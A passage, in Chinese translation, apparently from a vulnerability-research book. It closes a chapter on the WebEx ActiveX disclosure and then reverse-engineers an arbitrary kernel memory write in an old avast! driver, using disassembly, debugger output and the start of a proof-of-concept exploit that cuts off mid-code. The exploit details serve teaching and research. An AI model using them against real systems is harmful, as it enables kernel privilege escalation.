如我之前提到的,如果我用 COMRaider 对 ActiveX 控件进行模糊测试而不是阅读汇编代码,我就能更快地找到这个漏洞。但嘿,模糊测试并不像阅读汇编代码那样酷,对吧?
5.3 漏洞修复
注意
星期四,2008 年 8 月 14 日
在第二章、第三章和第四章中,我直接向受损害软件的供应商披露了安全漏洞,并帮助其创建补丁。这次我并没有直接通知供应商,而是将漏洞出售给了漏洞经纪人(Verisign 的 iDefense Lab Vulnerability Contributor Program [VCP]),并让它与思科协调(见第 2.3 节)。
我于 2008 年 4 月 8 日联系了 iDefense。它接受了我的提交,并向思科报告了这个问题。当思科正在开发 ActiveX 控件的新版本时,另一位安全研究员 Elazar Broad 于 2008 年 6 月重新发现了这个漏洞。他也通知了思科,但在一个被称为完全披露的过程中公开了漏洞。^([54]) 思科于 2008 年 8 月 14 日发布了修复后的 WebEx 会议管理器版本以及安全公告。总的来说,这是一场大混乱,但最终 Elazar 和我使网络变得更加安全。
5.4 经验教训
-
在广泛部署(企业)软件产品中仍然存在明显的、容易利用的漏洞。
-
跨站脚本攻击打破了 ActiveX 域限制。这对于微软的 SiteLock 也是如此。^([55])
-
从漏洞猎手的视角来看,ActiveX 控件是很有潜力和价值的攻击目标。
-
漏洞的重发现(过于频繁)发生了。
5.5 补遗
注意
2008 年 9 月 17 日,星期三
漏洞已修复,并发布了 WebEx 会议管理器的新版本,因此我今天在我的网站上发布了详细的安全公告。^([56]) 该漏洞被分配了 CVE-2008-3558。图 5-12(Figure 5-12. Timeline from discovery of the WebEx Meeting Manager vulnerability until the release of the security advisory)显示了漏洞修复的时间线。

图 5-12. 从发现 WebEx 会议管理器漏洞到发布安全公告的时间线
备注
^([45])
^([46])
^([47])
^([48])
^([49])
^([50])
^([51])
^([52])
^([53])
^([54])
^([55])
^([56])
^([45]) iDefense 的 COMRaider 是一个很好的工具,可以枚举和模糊 COM 对象接口。请参阅labs.idefense.com/software/download/?downloadID=23。
^([46]) 如需更多信息,请查阅“ActiveX 控件的安全初始化和脚本编写”相关内容,链接为 msdn.microsoft.com/en-us/library/aa751977(VS.85).aspx。
^([47]) 请参阅“不安全等于不危险?如何在 Internet Explorer 中判断 ActiveX 漏洞是否可利用”的相关内容,链接为 blogs.technet.com/srd/archive/2008/02/03/activex-controls.aspx。
^([48]) 关于跨站脚本攻击的更多信息,请参考 www.owasp.org/index.php/Cross-site_Scripting_(XSS)。
^([49]) 请参阅“MindshaRE:动态查找 ActiveX 方法”的相关内容,链接为 dvlabs.tippingpoint.com/blog/2009/06/01/mindshare-finding-activex-methods-dynamically/。
^([50]) 请参阅 msdn.microsoft.com/en-us/library/9a16d4e4-a03d-459d-a2ec-3258499f6932(VS.85)。
^([51]) WinDbg 是微软的“官方”Windows 调试器,作为免费“Windows 调试工具”套件的一部分进行分发,可在 www.microsoft.com/whdc/DevTools/Debugging/default.mspx 获取。
^([52]) 请参阅 www.hex-rays.com/idapro/。
^([53]) 请参阅 www.trapkit.de/books/bhd/。
^([54]) 请参阅 seclists.org/fulldisclosure/2008/Aug/83。
^([55]) 如需了解微软的 SiteLock 的更多信息,请参阅 msdn.microsoft.com/en-us/library/bb250471%28VS.85%29.aspx。
^([56]) 描述 WebEx 会议管理器漏洞详细信息的我的安全公告可在 www.trapkit.de/advisories/TKADV2008-009.txt 找到。
第六章。一个内核统治一切
注意
2008 年 3 月 8 日星期六
亲爱的日记,
在花费时间审计开源内核并找到一些有趣的错误后,我开始思考是否能在 Microsoft Windows 驱动程序中找到一个错误。Windows 有很多第三方驱动程序可用,因此选择几个来探索并不容易。我最终选择了一些杀毒产品,因为它们通常是寻找错误的理想目标.^([57]) 我访问了 VirusTotal^([58]) 并在其列表中选择了第一个我认识的杀毒产品:ALWIL Software 的 avast!。这最终证明是一个偶然的决定。
注意
2010 年 6 月 1 日,ALWIL Software 更名为 AVAST Software。
6.1 漏洞发现
我使用以下步骤来发现漏洞:
注意
本章中描述的漏洞影响所有由 avast! Professional 4.7. 支持的 Microsoft Windows 平台。本章中使用的平台是 Windows XP SP3 32 位的默认安装。
-
第一步:为内核调试准备 VMware 虚拟机。
-
第二步:生成由 avast! 创建的驱动程序和设备对象列表
-
第三步:检查设备安全设置。
-
第四步:列出 IOCTLS。
-
第五步:找到用户控制的输入值。
-
第六步:逆向工程 IOCTL 处理程序。
第一步:为内核调试准备 VMware 虚拟机
首先,我设置了一个 Windows XP VMware^([60]) 虚拟机系统,我使用 WinDbg.^([61]) 进行远程内核调试。必要的步骤在 B.3 节中描述。
第二步:生成由 avast! 创建的驱动程序和设备对象列表
在 VMware 虚拟机系统中下载并安装了最新的 avast! Professional^([62]) 版本后,我使用 DriverView^([63]) 生成 avast! 加载的驱动程序列表。
DriverView 的一个好处是它使得识别第三方驱动程序变得容易。如图 6-1 所示,avast! 加载了四个驱动程序。我选择了列表中的第一个,称为 Aavmker4.sys,并使用 IDA Pro^([64]) 生成该驱动程序的设备对象列表。
注意
驱动程序可以在任何时间通过调用IoCreateDevice 或 IoCreateDeviceSecure 创建表示设备或驱动程序接口的设备对象。^([65])

图 6-1. DriverView 中的 avast! 驱动程序列表
在 IDA 反汇编驱动程序后,我开始阅读驱动程序初始化例程的汇编代码,称为DriverEntry().^([66])
[..]
.text:000105D2 ; const WCHAR aDeviceAavmker4
`.text:000105D2 aDeviceAavmker4: ; DATA XREF: DriverEntry+12`
`.text:000105D2 unicode 0, <\Device\AavmKer4>,0`
[..]
.text:00010620 ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, →
PUNICODE_STRING RegistryPath)
.text:00010620 public DriverEntry
.text:00010620 DriverEntry proc near
.text:00010620
.text:00010620 SymbolicLinkName= UNICODE_STRING ptr −14h
.text:00010620 DestinationString= UNICODE_STRING ptr −0Ch
.text:00010620 DeviceObject = dword ptr −4
.text:00010620 DriverObject = dword ptr 8
.text:00010620 RegistryPath = dword ptr 0Ch
.text:00010620
.text:00010620 push ebp
.text:00010621 mov ebp, esp
.text:00010623 sub esp, 14h
.text:00010626 push ebx
.text:00010627 push esi
.text:00010628 mov esi, ds:RtlInitUnicodeString
.text:0001062E push edi
.text:0001062F lea eax, [ebp+DestinationString]
`.text:00010632 push offset aDeviceAavmker4 ; SourceString`
.text:00010637 push eax ; DestinationString
.text:00010638 call esi ; RtlInitUnicodeString
.text:0001063A mov edi, [ebp+DriverObject]
.text:0001063D lea eax, [ebp+DeviceObject]
.text:00010640 xor ebx, ebx
.text:00010642 push eax ; DeviceObject
.text:00010643 push ebx ; Exclusive
.text:00010644 push ebx ; DeviceCharacteristics
.text:00010645 lea eax, [ebp+DestinationString]
.text:00010648 push 22h ; DeviceType
.text:0001064A push eax ; DeviceName
.text:0001064B push ebx ; DeviceExtensionSize
.text:0001064C push edi ; DriverObject
`.text:0001064D call ds:IoCreateDevice`
.text:00010653 cmp eax, ebx
.text:00010655 jl loc_1075E
[..]
在 DriverEntry() 函数中,使用 IoCreateDevice() 函数在地址 .text:0001064D 处创建了一个名为 \Device\AavmKer4 的设备(见 .text:00010632 和 .text:000105D2)。DriverEntry() 的示例汇编代码可以翻译成以下 C 代码:
[..]
RtlInitUnicodeString (&DestinationString, &L"\\Device\\AavmKer4");
retval = IoCreateDevice (DriverObject, 0, &DestinationString,
0x22, 0, 0, &DeviceObject);
[..]
第 3 步:检查设备安全设置
我随后使用 WinObj 检查了 AavmKer4 设备的安全设置(见图 6-2)。^([67])

图 6-2. 在 WinObj 中导航到设备 AavmKer4 的安全设置
在 WinObj 中查看设备的安全设置时,我右键单击设备名称,从选项列表中选择属性,然后选择安全选项卡。设备对象允许每个系统用户( Everyone 组)从设备中读取或写入(见图 6-3)。这意味着系统的每个用户都可以向驱动程序实现的 IOCTL 发送数据,这真是太好了——这使得这个驱动程序成为一个有价值的攻击目标!
第 4 步:列出 IOCTL
一个 Windows 用户空间应用程序必须调用 DeviceIoControl() 来向内核驱动程序发送 IOCTL 请求。此类对 DeviceIoControl() 的调用会导致 Windows 的 I/O 管理器创建一个 IRP_MJ_DEVICE_CONTROL 请求,并将其发送到最顶层的驱动程序。驱动程序实现一个特殊的分派例程来处理 IRP_MJ_DEVICE_CONTROL 请求,该例程通过名为 MajorFunction[] 的数组进行引用。此数组是 DRIVER_OBJECT 数据结构的一个元素,可以在 Windows 驱动程序包的 ntddk.h 中找到.^([68]) 为了节省空间,我从以下代码中移除了注释。

图 6-3. 查看设备 \Device\AavmKer4 的安全设置
[..]
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
`PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];`
} DRIVER_OBJECT;
[..]
下面定义了 MajorFunction[] 数组的元素(也来自 ntddk.h):
[..]
#define IRP_MJ_CREATE 0x00
#define IRP_MJ_CREATE_NAMED_PIPE 0x01
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ 0x03
#define IRP_MJ_WRITE 0x04
#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
`#define IRP_MJ_DEVICE_CONTROL 0x0e`
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA 0x1a
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER IRP_MJ_PNP // Obsolete....
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
[..]
要列出驱动程序实现的 IOCTL,我必须找到驱动程序的 IOCTL 分派例程。如果我能访问驱动程序的 C 代码,这将会很容易,因为我知道分派例程的分配通常看起来像这样:
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTL_dispatch_routine;
不幸的是,我没有访问到 avast! Aavmker4.sys 驱动程序的源代码。我如何仅使用 IDA Pro 提供的反汇编代码来找到分派分配呢?
为了回答这个问题,我需要更多关于 DRIVER_OBJECT 数据结构的信息。我将 WinDbg 连接到 VMware 虚拟机系统,并使用 dt 命令(见 B.2 节中关于以下调试命令的详细描述)来显示有关结构的信息:
kd> `.sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols`
kd> `.reload`
[..]
kd> `dt -v _DRIVER_OBJECT .`
nt!_DRIVER_OBJECT
struct _DRIVER_OBJECT, 15 elements, 0xa8 bytes
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject :
+0x008 Flags : Uint4B
+0x00c DriverStart :
+0x010 DriverSize : Uint4B
+0x014 DriverSection :
+0x018 DriverExtension :
+0x01c DriverName : struct _UNICODE_STRING, 3 elements, 0x8 bytes
+0x000 Length : Uint2B
+0x002 MaximumLength : Uint2B
+0x004 Buffer : Ptr32 to Uint2B
+0x024 HardwareDatabase :
+0x028 FastIoDispatch :
+0x02c DriverInit :
+0x030 DriverStartIo :
+0x034 DriverUnload :
`+0x038 MajorFunction : [28]`
调试器输出显示,MajorFunction[] 数组从结构偏移 0x38 开始。在查看 Windows 驱动器工具包的 ntddk.h 头文件后,我知道 IRP_MJ_DEVICE_CONTROL 位于 MajorFunction[] 的偏移 0x0e,并且该数组的元素大小是一个指针(32 位平台上的 4 个字节)。
因此,赋值可以表示为以下形式:
In C: DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTL_dispatch_routine;
Offsets : DriverObject + 0x38 + 0x0e * 4 = IOCTL_dispatch_routine;
Simplified form : DriverObject + 0x70 = IOCTL_dispatch_routine;
在 Intel 汇编中表达这个赋值的方法不计其数,但在 avast! 驱动程序代码中我找到了这些指令:
[..]
.text:00010748 mov eax, [ebp+DriverObject]
[..]
.text:00010750 mov dword ptr [eax+70h], offset sub_1098C
[..]
在地址 .text:00010748,一个 DRIVER_OBJECT 指针存储在 EAX 中。然后在地址 .text:00010750,IOCTL 调度例程的函数指针被分配给 MajorFunction[IRP_MJ_DEVICE_CONTROL]。
Assignment in C: DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = sub_1098c;
Offsets : DriverObject + 0x70 = sub_1098c;
我终于找到了驱动程序的 IOCTL 调度例程:sub_1098C!借助调试器也可以找到 IOCTL 调度例程:
kd> `!drvobj AavmKer4 7`
Driver object (86444f38) is for:
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for Aavmker4.SYS -
\Driver\Aavmker4
Driver Extension List: (id , addr)
Device Object list:
863a9150
DriverEntry: f792d620 Aavmker4
DriverStartIo: 00000000
DriverUnload: 00000000
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE f792d766 Aavmker4+0x766
[01] IRP_MJ_CREATE_NAMED_PIPE f792d766 Aavmker4+0x766
[02] IRP_MJ_CLOSE f792d766 Aavmker4+0x766
[03] IRP_MJ_READ f792d766 Aavmker4+0x766
[04] IRP_MJ_WRITE f792d766 Aavmker4+0x766
[05] IRP_MJ_QUERY_INFORMATION f792d766 Aavmker4+0x766
[06] IRP_MJ_SET_INFORMATION f792d766 Aavmker4+0x766
[07] IRP_MJ_QUERY_EA f792d766 Aavmker4+0x766
[08] IRP_MJ_SET_EA f792d766 Aavmker4+0x766
[09] IRP_MJ_FLUSH_BUFFERS f792d766 Aavmker4+0x766
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION f792d766 Aavmker4+0x766
[0b] IRP_MJ_SET_VOLUME_INFORMATION f792d766 Aavmker4+0x766
[0c] IRP_MJ_DIRECTORY_CONTROL f792d766 Aavmker4+0x766
[0d] IRP_MJ_FILE_SYSTEM_CONTROL f792d766 Aavmker4+0x766
`[0e] IRP_MJ_DEVICE_CONTROL f792d98c Aavmker4+0x98c`
[..]
WinDbg 的输出显示,IRP_MJ_DEVICE_CONTROL 调度例程位于地址 Aavmker4+0x98c。
在找到调度例程之后,我在该函数中搜索了已实现的 IOCTL。IOCTL 调度例程具有以下原型^([69])。
NTSTATUS
DispatchDeviceControl(
__in struct _DEVICE_OBJECT *DeviceObject,
__in struct _IRP *Irp
)
{ ... }
第二个函数参数是指向一个 I/O 请求包 (IRP) 结构的指针。IRP 是 Windows I/O 管理器用来与驱动程序通信以及允许驱动程序之间相互通信的基本结构。这个结构传输用户提供的 IOCTL 数据以及请求的 IOCTL 代码^([70])。
我随后查看了调度例程的反汇编代码,以生成 IOCTL 列表:
[..]
.text:0001098C ; int __stdcall sub_1098C(int, PIRP Irp)
.text:0001098C sub_1098C proc near ; DATA XREF: DriverEntry+130
[..]
`.text:000109B2 mov ebx, [ebp+Irp] ; ebx = address of IRP`
`.text:000109B5 mov eax, [ebx+60h]`
[..]
IRP 结构的指针存储在 .text:000109B2 地址的 EBX 中,这是 IOCTL 调度例程的位置。然后,一个位于 IRP 结构偏移 0x60 的值被引用(见 .text:000109B5)。
kd> `dt -v -r 3 _IRP`
nt!_IRP
struct _IRP, 21 elements, 0x70 bytes
+0x000 Type : ??
+0x002 Size : ??
+0x004 MdlAddress : ????
+0x008 Flags : ??
[..]
`+0x040 Tail : union __unnamed, 3 elements, 0x30 bytes`
+0x000 Overlay : struct __unnamed, 8 elements, 0x28 bytes
+0x000 DeviceQueueEntry : struct _KDEVICE_QUEUE_ENTRY, 3 elements, 0x10 bytes
+0x000 DriverContext : [4] ????
+0x010 Thread : ????
+0x014 AuxiliaryBuffer : ????
+0x018 ListEntry : struct _LIST_ENTRY, 2 elements, 0x8 bytes
`+0x020 CurrentStackLocation : ????`
[..]
WinDbg 的输出显示,IRP 结构成员 CurrentStackLocation 位于偏移 0x60。这个结构在 Windows 驱动器工具包的 ntddk.h 中定义:
[..]
//
// I/O Request Packet (IRP) definition
//
typedef struct _IRP {
[..]
`//`
`// Current stack location - contains a pointer to the current`
`// IO_STACK_LOCATION structure in the IRP stack. This field`
`// should never be directly accessed by drivers. They should`
`// use the standard functions.`
`//`
`struct _IO_STACK_LOCATION *CurrentStackLocation;`
[..]
_IO_STACK_LOCATION 结构的布局如下(见 Windows 驱动器工具包中的 ntddk.h):
[..]
`typedef struct _IO_STACK_LOCATION {`
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
[..]
//
// System service parameters for: NtDeviceIoControlFile
//
// Note that the user's output buffer is stored in the
// UserBuffer field
// and the user's input buffer is stored in the SystemBuffer
// field.
//
struct {
`ULONG OutputBufferLength;`
`ULONG POINTER_ALIGNMENT InputBufferLength;`
`ULONG POINTER_ALIGNMENT IoControlCode;`
PVOID Type3InputBuffer;
} DeviceIoControl;
[..]
除了请求的 IOCTL 的 IoControlCode 之外,这个结构还包含有关输入和输出缓冲区大小的信息。现在我对 _IO_STACK_LOCATION 结构有了更多信息,我再次查看了反汇编代码:
[..]
.text:0001098C ; int __stdcall sub_1098C(int, PIRP Irp)
.text:0001098C sub_1098C proc near ; DATA XREF: DriverEntry+130
[..]
.text:000109B2 mov ebx, [ebp+Irp] ; ebx = address of IRP
`.text:000109B5 mov eax, [ebx+60h] ; eax = address of CurrentStackLocation`
`.text:000109B8 mov esi, [eax+8] ; ULONG InputBufferLength`
.text:000109BB mov [ebp+var_1C], esi ; save InputBufferLength in var_1C
`.text:000109BE mov edx, [eax+4] ; ULONG OutputBufferLength`
.text:000109C1 mov [ebp+var_3C], edx ; save OutputBufferLength in var_3C
`.text:000109C4 mov eax, [eax+0Ch] ; ULONG IoControlCode`
`.text:000109C7 mov ecx, 0B2D6002Ch ; ecx = 0xB2D6002C`
`.text:000109CC cmp eax, ecx ; compare 0xB2D6002C with IoControlCode`
.text:000109CE ja loc_10D15
[..]
如我之前提到的,在地址.text:000109B5,存储了指向_IO_STACK_LOCATION的指针,然后在地址.text:000109B8存储了InputBufferLength在ESI中。在.text:000109BE,OutputBufferLength存储在EDX中,在.text:000109C4,IoControlCode存储在EAX中。稍后,请求的 IOCTL 代码存储在EAX中,并与值0xB2D6002C(见地址.text:000109C7和.text:000109CC)进行比较。嘿,我找到了驱动程序的第一个有效 IOCTL 代码!我在函数中搜索了所有与请求的 IOCTL 代码在EAX中比较的值,并得到了Aavmker4.sys支持的 IOCTL 列表。
第 5 步:查找用户控制的输入值
在我生成了所有支持的 IOCTL 列表之后,我试图定位包含用户提供的 IOCTL 输入数据的缓冲区。所有IRP_MJ_DEVICE_CONTROL请求都提供输入缓冲区和输出缓冲区。系统描述这些缓冲区的方式取决于数据传输类型。传输类型存储在 IOCTL 代码本身中。在 Microsoft Windows 中,IOCTL 代码值通常使用CTL_CODE宏创建。71] 这里是ntddk.h的另一个摘录:
[..]
//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-2047 are reserved for Microsoft Corporation, and
// 2048-4095 are reserved for customers.
//
`#define CTL_CODE( DeviceType, Function, Method, Access ) ( \`
`((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \`
`)`
[..]
//
// Define the method codes for how buffers are passed for I/O and FS controls
//
#define METHOD_BUFFERED 0
#define METHOD_IN_DIRECT 1
#define METHOD_OUT_DIRECT 2
#define METHOD_NEITHER 3
[..]
使用CTL_CODE宏的Method参数指定传输类型。我编写了一个小工具来揭示Aavmker4.sys的 IOCTL 使用了哪种数据传输类型:
示例 6-1. 我编写的一个小工具(IOCTL_method.c),用于展示Aavmker4.sys的 IOCTL 使用了哪种数据传输类型。
01 #include <windows.h>
02 #include <stdio.h>
03
04 int
05 main (int argc, char *argv[])
06 {
07 unsigned int method = 0;
08 unsigned int code = 0;
09
10 if (argc != 2) {
11 fprintf (stderr, "Usage: %s <IOCTL code>\n", argv[0]);
12 return 1;
13 }
14
15 code = strtoul (argv[1], (char **) NULL, 16);
16 method = code & 3;
17
18 switch (method) {
19 case 0:
20 printf ("METHOD_BUFFERED\n");
21 break;
22 case 1:
23 printf ("METHOD_IN_DIRECT\n");
24 break;
25 case 2:
26 printf ("METHOD_OUT_DIRECT\n");
27 break;
28 case 3:
29 printf ("METHOD_NEITHER\n");
30 break;
31 default:
32 fprintf (stderr, "ERROR: invalid IOCTL data transfer method\n");
33 break;
34 }
35
36 return 0;
37 }
然后我用 Visual Studio 的命令行 C 编译器(cl)编译了这个工具:
C:\BHD>`cl /nologo IOCTL_method.c`
IOCTL_method.c
以下输出显示了示例 6-1 中的工具在运行:
C:\BHD>`IOCTL_method.exe B2D6002C`
METHOD_BUFFERED
因此,驱动程序使用METHOD_BUFFERED传输类型来描述 IOCTL 请求的输入和输出缓冲区。根据 Windows 驱动程序套件中的缓冲区描述,使用METHOD_BUFFERED传输类型的 IOCTL 的输入缓冲区可以在Irp->AssociatedIrp.SystemBuffer中找到。
下面是Aavmker4.sys反汇编中对输入缓冲区引用的一个示例:
[..]
.text:00010CF1 mov eax, [ebx+0Ch] ; ebx = address of IRP
.text:00010CF4 mov eax, [eax]
[..]
在这个例子中,EBX持有 IRP 结构的指针。在地址.text:00010CF1,引用了 IRP 结构成员的偏移量0x0c。
kd> `dt -v -r 2 _IRP`
nt!_IRP
struct _IRP, 21 elements, 0x70 bytes
+0x000 Type : ??
+0x002 Size : ??
+0x004 MdlAddress : ????
+0x008 Flags : ??
`+0x00c AssociatedIrp : union __unnamed, 3 elements, 0x4 bytes`
+0x000 MasterIrp : ????
+0x000 IrpCount : ??
`+0x000 SystemBuffer : ????`
[..]
WinDbg 的输出显示AssociatedIrp位于这个偏移量(IRP->AssociatedIrp)。在地址.text:00010CF4,对 IOCTL 调用的输入缓冲区进行了引用并存储在EAX(Irp->AssociatedIrp.SystemBuffer)。既然我已经找到了支持的 IOCTL 以及 IOCTL 输入数据,我就开始寻找 bug。
第 6 步:逆向工程 IOCTL 处理程序
为了找到可能的安全缺陷,我一次审计一个 IOCTL 的处理程序代码,同时跟踪提供的输入数据。当我遇到 IOCTL 代码0xB2D60030时,我发现了一个微小的 bug。
如果用户空间应用程序请求 IOCTL 代码0xB2D60030,则执行以下代码:
[..]
.text:0001098C ; int __stdcall sub_1098C(int, PIRP Irp)
.text:0001098C sub_1098C proc near ; DATA XREF: DriverEntry+130
[..]
`.text:00010D28 cmp eax, 0B2D60030h ; IOCTL-Code == 0xB2D60030 ?`
.text:00010D2D jz short loc_10DAB ; if so -> loc_10DAB
[..]
如果请求的 IOCTL 代码与0xB2D60030(见.text:00010D28)匹配,则执行地址.text:00010DAB(loc_10DAB)处的汇编代码:
[..]
.text:000109B8 mov esi, [eax+8] ; ULONG InputBufferLength
`.text:000109BB mov [ebp+var_1C], esi`
[..]
.text:00010DAB loc_10DAB: ; CODE XREF: sub_1098C+3A1
`.text:00010DAB xor edi, edi ; EDI = 0`
.text:00010DAD cmp byte_1240C, 0
.text:00010DB4 jz short loc_10DC9
[..]
.text:00010DC9 loc_10DC9: ; CODE XREF: sub_1098C+428
`.text:00010DC9 mov esi, [ebx+0Ch] ; Irp->AssociatedIrp.SystemBuffer`
`.text:00010DCC cmp [ebp+var_1C], 878h ; input data length == 0x878 ?`
.text:00010DD3 jz short loc_10DDF ; if so -> loc_10DDF
[..]
在地址.text:00010DAB EDI处设置为 0。EBX寄存器持有 IRP 结构的指针,在地址.text:00010DC9处将输入缓冲区数据的指针存储在ESI中(Irp->AssociatedIrp.SystemBuffer)。
在调度例程的开始,将请求的InputBufferLength存储在堆栈变量var_1c中(见.text:000109BB)。然后,将地址.text:00010DCC处的输入数据长度与值0x878(见图 6-4)进行比较。

图 6-4. IDA Pro 中易受攻击的代码路径的图形视图,第一部分
如果数据长度等于0x878,则进一步处理由ESI指向的用户可控输入数据:
[..]
.text:00010DDF loc_10DDF: ; CODE XREF: sub_1098C+447
.text:00010DDF mov [ebp+var_4], edi
`.text:00010DE2 cmp [esi], edi ; ESI == input data`
.text:00010DE4 jz short loc_10E34 ; if input data == NULL -> loc_10E34
[..]
`.text:00010DE6 mov eax, [esi+870h] ; ESI and EAX`
`are pointing to the →`
`input data`
`.text:00010DEC mov [ebp+var_48], eax ; a pointer to user controlled data →`
`is stored in var_48`
`.text:00010DEF cmp dword ptr [eax], 0D0DEAD07h ; validation of input data`
.text:00010DF5 jnz short loc_10E00
[..]
`.text:00010DF7 cmp dword ptr [eax+4], 10BAD0BAh ; validation of input data`
.text:00010DFE jz short loc_10E06
[..]
地址.text:00010DE2处的代码检查输入数据是否等于 NULL。如果输入数据不是 NULL,则从该数据中提取一个指针,存储在[user_data+0x870],并存储在EAX中(见.text:00010DE6)。此指针值存储在堆栈变量var_48中(见.text:00010DEC)。然后执行检查,看由EAX指向的数据是否以值0xD0DEAD07和0x10BAD0BA开头(见.text:00010DEF和.text:00010DF7)。如果是这样,则继续解析输入数据:
[..]
.text:00010E06 loc_10E06: ; CODE XREF: sub_1098C+472
.text:00010E06 xor edx, edx
.text:00010E08 mov eax, [ebp+var_48]
.text:00010E0B mov [eax], edx
.text:00010E0D mov [eax+4], edx
`.text:00010E10 add esi, 4 ; source address`
`.text:00010E13 mov ecx, 21Ah ; length`
`.text:00010E18 mov edi, [eax+18h] ; destination address`
`.text:00010E1B rep movsd ; memcpy()`
[..]
地址.text:00010E1B处的rep movsd指令代表一个memcpy()函数。因此ESI持有源地址,EDI持有目标地址,ECX持有复制操作的长度的值。ECX被分配了值0x21a(见.text:00010E13)。ESI指向用户可控的 IOCTL 数据(见.text:00010E10),而EDI也是从由EAX指向的用户可控数据派生出来的(见.text:00010E18和图 6-5)。

图 6-5. IDA Pro 中易受攻击的代码路径的图形视图,第二部分
这里有一些伪 C 代码,用于那个memcpy()调用:
memcpy ([EAX+0x18], ESI + 4, 0x21a * 4);
或者,用更抽象的话来说:
memcpy (user_controlled_address, user_controlled_data, 0x868);
因此,可以将0x868字节(0x21a * 4字节,因为rep movsd指令从一个位置复制 DWORD 到另一个位置)的用户可控数据写入用户或内核空间中的任意用户可控地址。太棒了!
漏洞的解剖结构,如图 6-6 图 6-6. 从 IOCTL 请求到内存损坏的漏洞概述所示,如下:
-
使用
AavmKer4设备向内核驱动程序Aavmker4.sys发送了 IOCTL 请求(0xB2D60030)。 -
驱动程序代码检查 IOCTL 输入数据长度是否等于值
0x878。如果是,则进行步骤 3。![从 IOCTL 请求到内存损坏的漏洞概述]()
图 6-6. 从 IOCTL 请求到内存损坏的漏洞概述
-
驱动程序检查用户控制的 IOCTL 输入数据是否包含值
0xD0DEAD07和0x10BAD0BA。如果是,则进行步骤 4。 -
执行了错误的
memcpy()调用。 -
内存被损坏。
6.2 漏洞利用
为了控制EIP,我首先必须找到一个合适的覆盖目标地址。在搜索 IOCTL 调度例程时,我找到了两个调用函数指针的地方:
[..]
.text:00010D8F push 2 ; _DWORD
.text:00010D91 push 1 ; _DWORD
.text:00010D93 push 1 ; _DWORD
.text:00010D95 push dword ptr [eax] ; _DWORD
.text:00010D97 call KeGetCurrentThread
.text:00010D9C push eax ; _DWORD
`.text:00010D9D call dword_12460 ; the function pointer is called`
.text:00010DA3 mov [ebx+18h], eax
.text:00010DA6 jmp loc_10F04
[..]
.text:00010DB6 push 2 ; _DWORD
.text:00010DB8 push 1 ; _DWORD
.text:00010DBA push 1 ; _DWORD
.text:00010DBC push edi ; _DWORD
.text:00010DBD call KeGetCurrentThread
.text:00010DC2 push eax ; _DWORD
`.text:00010DC3 call dword_12460 ; the function pointer is called`
[..]
`.data:00012460 ; int (__stdcall *dword_12460)(_DWORD,`
`_DWORD, _DWORD, _DWORD, _DWORD)`
`.data:00012460 dword_12460 dd 0 ; the function pointer is declared`
[..]
在.data:00012460处声明的函数指针在调度例程的.text:00010D9D和.text:00010DC3处被调用。为了控制EIP,我只需覆盖这个函数指针并等待它被调用。我编写了以下 POC 代码来操作函数指针:
示例 6-2. 我编写的用于操作.data:00012460处函数指针的 POC 代码(poc.c)
01 #include <windows.h>
02 #include <winioctl.h>
03 #include <stdio.h>
04 #include <psapi.h>
05
06 #define IOCTL 0xB2D60030 // vulnerable IOCTL
07 #define INPUTBUFFER_SIZE 0x878 // input data length
08
09 __inline void
10 memset32 (void* dest, unsigned int fill, unsigned int count)
11 {
12 if (count > 0) {
13 _asm {
14 mov eax, fill // pattern
15 mov ecx, count // count
16 mov edi, dest // dest
17 rep stosd;
18 }
19 }
20 }
21
22 unsigned int
23 GetDriverLoadAddress (char *drivername)
24 {
25 LPVOID drivers[1024];
26 DWORD cbNeeded = 0;
27 int cDrivers = 0;
28 int i = 0;
29 const char * ptr = NULL;
30 unsigned int addr = 0;
31
32 if (EnumDeviceDrivers (drivers, sizeof (drivers), &cbNeeded) &&
33 cbNeeded < sizeof (drivers)) {
34 char szDriver[1024];
35
36 cDrivers = cbNeeded / sizeof (drivers[0]);
37
38 for (i = 0; i < cDrivers; i++) {
39 if (GetDeviceDriverBaseName (drivers[i], szDriver,
